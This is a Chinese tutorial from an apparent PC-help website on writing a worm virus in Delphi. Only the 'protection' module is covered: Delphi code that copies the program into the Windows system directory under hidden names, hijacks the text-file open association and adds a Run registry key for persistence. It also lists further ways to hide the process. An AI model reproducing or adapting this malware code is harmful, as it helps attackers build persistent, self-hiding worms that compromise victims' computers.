浅谈用delphi来编写蠕虫病毒,病毒门诊_PC 啦啦.电脑大本营
浅谈用delphi来编写蠕虫病毒,病毒门诊_PC 啦啦.电脑大本营
PC啦啦首页  维修网点  QQ专家在线  电脑保修  工具软件   在线查毒   电脑问题搜索  官方论坛  站点地图  友情链接
加入收藏夹   设为主页

  认识电脑  

  电脑优化  

  电脑保养  

  故障症状  

  学习维修  

  维修资料  

  病毒门诊  

   数据恢复  

  使用技巧  

  电脑常识  

  笔记本(Notebook)  

  安全技术  

专题导读: 操作系统  Windows Vista系统故障  Windows Xp系统故障  Windows 2003系统故障  Windows 2000系统故障  Windows 98系统故障  软件使用  网络配置  网络攻击  病毒  木马  主板  CPU  内存  硬盘  键盘  显卡  声卡  鼠标  显示器  音箱  刻录机  光驱、光盘  电源、UPS  网络设备  扫描仪  打印机  其它硬件  服务器  游戏平台  手机/MP3  相机/摄像头  USB  无线应用教程 
您的位置: Pclala首页 >> 病毒门诊 >>浅谈用delphi来编写蠕虫病毒

浅谈用delphi来编写蠕虫病毒

发布日期: 2006-12-20 23:56:46 查看数:


{
  注:由于小弟水平有限,并且是小弟第一次写文章,自然难免有很多不足的地方,还请大
家包涵!
      如果你有什么意见和建议,也请给我来信,大家互相学习,互相探讨!
}

前言:
     可能大家想到病毒,第一反应就是可能是用asm来编写,或者是vbsript,而高级语言如

delphi就好象不能编写一样,其实事实并不是这个样子的,只要我们花一些时间,照样可以

写出简短而高效的病毒程序来,一点也不输那些用汇编写出来的程序哦。
     一个病毒程序首先要短小,我们的目标是经过压缩后控制在30k以下。用过delphi的朋

友都知道,如果在uses里面加入forms,classes.....等就会使目标文件非常的大,所以,在

我们的程序里,我们要尽可能的不用这些库。我们只用

windows,winsock,shellapi,sysutils(这个里面包含了一些常用的函数,比如对文件的操作

,对字符串的操作,如果用自己的程序来代替,目标文件会更加的小)

首先,我们知道,一个病毒程序一般都分下面三个模块:
    ①保护模块;
    ②感染模块;
    ③发作模块。
下面我们就从这三个模块开始,分别实现他们的代码。

一)保护模块。
   一般,我们都是把自身拷贝到系统的一些目录里,比如%systemroot%
那么,我们首先要取得这些特定的目录的路径
sdk里面给我们提供了一个这样的函数GetSystemDirectory
UINT GetSystemDirectory(
    LPTSTR lpBuffer,    // 存放返回的字符串的缓冲区
    UINT uSize            //  上面的缓冲去的长度
   );
相关的函数还有GetWindowsDirectory可以得到%windows%的路径

   得到了系统的目录后,第二步就是拷贝文件了。sdk为我们提供了一个函数copyfile
BOOL CopyFile(
    LPCTSTR lpExistingFileName,     // 源文件的路径
    LPCTSTR lpNewFileName,    // 目标文件的路径
    BOOL bFailIfExists            // 这是一个标志,如果目标文件已经存在,是否强制

覆盖
   );

   拷贝文件完毕后,我们来把这个文件设置为系统和隐藏,那么一般情况是看不见该文件的


除非选取查看所有文件,以及显示受保护文件。
同样,介绍一个函数SetFileAttributes
BOOL SetFileAttributes(
    LPCTSTR lpFileName,             // 需要设置的文件的文件名
    DWORD dwFileAttributes     // 设置的值。
   );
我们这里要设置为隐藏和系统,那么就为第二个参数传递

FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM

  下面就是最重要的,让该文件开机自动运行,我们一般都是写注册表,
首先用RegOpenKey函数来打开一个键,
LONG RegOpenKey(
    HKEY hKey,             // 主键,比如HKEY_LOCAL_MACHINE
    LPCTSTR lpSubKey,    // 跟随的subkey
    PHKEY phkResult    // 存放函数返回这个打开的键的句柄
   );
得到了HKEY后,就可以用regsetvalueex来向该键写具体的值了。
LONG RegSetValueEx(
    HKEY hKey,                // 这个就是刚才我们得到的句柄
    LPCTSTR lpValueName,   // 键名的地址
    DWORD Reserved,      // 一般设置为0
    DWORD dwType,     // 我们写的键的类型,字符串为REG_SZ
    CONST BYTE *lpData,    // 键值的地址
    DWORD cbData       // 写入的键值的长度
   );

下面,我综合上面的说明来给出一个简短的例子:
procedure SelfCopy;
var
Path,Value:array [0..255] of char;
Hk:HKEY;
S:string;
begin
GetSystemDirectory(Path,256);
//取得系统的路径
s:=strpas(Path);
//转换成字符串
CopyFile(pchar(paramstr(0)),pchar(S+'\ruin.exe'),false);
CopyFile(pchar(paramstr(0)),pchar(S+'\virus_ruin.exe'),false);
//把自身拷贝到系统目录下为ruin.exe,virus_ruin.exe
SetFileAttributes(pchar

(S+'\ruin.exe'),FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM);
SetFileAttributes(pchar

(S+'\virus_ruin.exe'),FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM);
//设置刚才的两个文件为系统和隐藏
RegOpenKey(HKEY_CLASSES_ROOT,'txtfile\shell\open\command',Hk);
Value:='virus_ruin.exe %1';
RegSetValueEx(Hk,'',0,REG_SZ,@Value,17);
//把virus_ruin.exe和文本文件关联
RegOpenKey

(HKEY_LOCAL_MACHINE,'Software\Microsoft\Windows\CurrentVersion\Run',Hk);
Value:='ruin.exe';
RegSetValueEx(Hk,'ruin',0,REG_SZ,@Value,8);
//设置开机自动运行ruin.exe
end;
我们看上面的这个程序,就完成了自我复制,和开机自动运行,
并且关联了文本文件,这样,如果run下的键被删除,那么他打开文本文件,蠕虫文件又被激

活。
不过这个样子,你就需要在你的主程序里面进行判断,如果传递的参数等于1 ,则打开该文

本,
并且进行自我保护。
如:
begin
if paramcount=1 then
shellexecute(0,'open','notepad.exe',pchar(paramstr(1)),nil,sw_normal);
//其他的代码

这里,我只是给出一个简单的例子来描述出一个大概的思路,
很多地方还不完善,比如进程的隐藏,
你可以进行判断,
如果是98你可以registerserverapplication如果你是用的2000,你可以做为服务启动,
或者是插入dll,或者是用求职信的方法,开机加载一个dll,或者是win.ini
或者.......................
因为我这里只是浅谈,只给大家提供一个思路,
如果你要深入研究,推荐看看shotgun的《揭开木马的神秘面纱》。


 

上下页导航

上一页:计算机病毒传染的一般过程是怎样的 下一页:解析新病毒时代部分病毒
浅谈用delphi来编写蠕虫病毒,病毒门诊_PC 啦啦.电脑大本营 【打印】 字体 【大】 【中】 【小】 【关闭】
热点主题
彻底解决Trojan.PSW.QQPass病毒彻底解决Trojan.PSW.QQPass病毒
Trojan-psw.win32.onlineTrojan-psw.win32.online Games.es 病毒清除办法
sxs.dllsxs.dll sxs.exe病毒专杀工具及sxs.exe病毒手动删除方法
lsass.exe病毒的查杀方法,附专杀工具lsass.exe病毒的查杀方法,附专杀工具
手工删除update.exe病毒手工删除update.exe病毒
ARP病毒临时解决方法ARP病毒临时解决方法
copy.exe病毒copy.exe病毒 硬盘双击打不开了
八步轻松清除desktop.ini病毒八步轻松清除desktop.ini病毒
清除Svchost.exe清除Svchost.exe
有争议的conime.exe有争议的conime.exe
清除pctools.dll清除pctools.dll 新萌科技(上海)有限公司-垃圾广告
感染型病毒Trojan-Downloader.Win32.Delf.axl专杀修复工具感染型病毒Trojan-Downloader.Win32.Delf.axl专杀修复工具
TRojan.PSW.QQPASS病毒手把手彻底删除(winscok.exe,infostealer)TRojan.PSW.QQPASS病毒手把手彻底删除(winscok.exe,infostealer)
威金蠕虫:所有的exe图标都变色变模糊威金蠕虫:所有的exe图标都变色变模糊
SVCHOST.EXE应用程序错误解决方法SVCHOST.EXE应用程序错误解决方法
魔波”病毒肆虐魔波”病毒肆虐 大量宽带用户上网掉线
上网要谨防“威金worm.viking”病毒的侵袭上网要谨防“威金worm.viking”病毒的侵袭
rootkit.ganima.h和rootkit.ganima.frootkit.ganima.h和rootkit.ganima.f 病毒的查杀方法
解决EXE文件打不开的问题(4种方法)解决EXE文件打不开的问题(4种方法)
专杀death.exe\123.exe病毒专杀death.exe\123.exe病毒
最新主题
Vista任务管理器秘密Vista任务管理器秘密 揪出木马有高招
菜鸟安全知识:认识局域网病毒七大特点菜鸟安全知识:认识局域网病毒七大特点
拔营起寨拔营起寨 针对插入式木马的清除方法
绝对有效的8749病毒最终解决方案绝对有效的8749病毒最终解决方案
如何彻底清楚trojan.agent.bmv病毒如何彻底清楚trojan.agent.bmv病毒
系统为何会自动在后台启动iexplore.exe系统为何会自动在后台启动iexplore.exe
Trojan.DL.IeFrame.cc病毒的清除方法Trojan.DL.IeFrame.cc病毒的清除方法
“随机8位数字”病毒手动清除办法“随机8位数字”病毒手动清除办法
令人抓狂的rundl132和熊猫烧香令人抓狂的rundl132和熊猫烧香
auto.exe和autorun.inf查杀方法auto.exe和autorun.inf查杀方法
你一直被蒙在鼓里!揭秘十大杀毒误区你一直被蒙在鼓里!揭秘十大杀毒误区
看清木马藏身地 学会通用排查技术看清木马藏身地 学会通用排查技术
屏幕字变大而且鼠标指针消失屏幕字变大而且鼠标指针消失
教你几招判断Windows是否被流氓侵入教你几招判断Windows是否被流氓侵入
如何识别非法进程与手工杀毒如何识别非法进程与手工杀毒
彻底清除无法显示隐藏文件病毒彻底清除无法显示隐藏文件病毒
经验技巧:系统中毒初级自救法经验技巧:系统中毒初级自救法
遭遇PSW.Win32.WoWar,Trojan.Win32.MnLess,Trojan.IMMSG.Win32.TBMSG等遭遇PSW.Win32.WoWar,Trojan.Win32.MnLess,Trojan.IMMSG.Win32.TBMSG等
网络资源推荐
浅谈用delphi来编写蠕虫病毒,病毒门诊_PC 啦啦.电脑大本营 浅谈用delphi来编写蠕虫病毒,病毒门诊_PC 啦啦.电脑大本营
站务联系:XBell@163.com 在线QQ:573861490
备案序号:粤ICP备06093858号
版权所有 2006 PC 啦啦.电脑大本营 最佳分辨率 1024 X 768
Copyright © Http://www.Pclala.com/ All rights reserved. Powered by 在Vbell系列网站投放广告!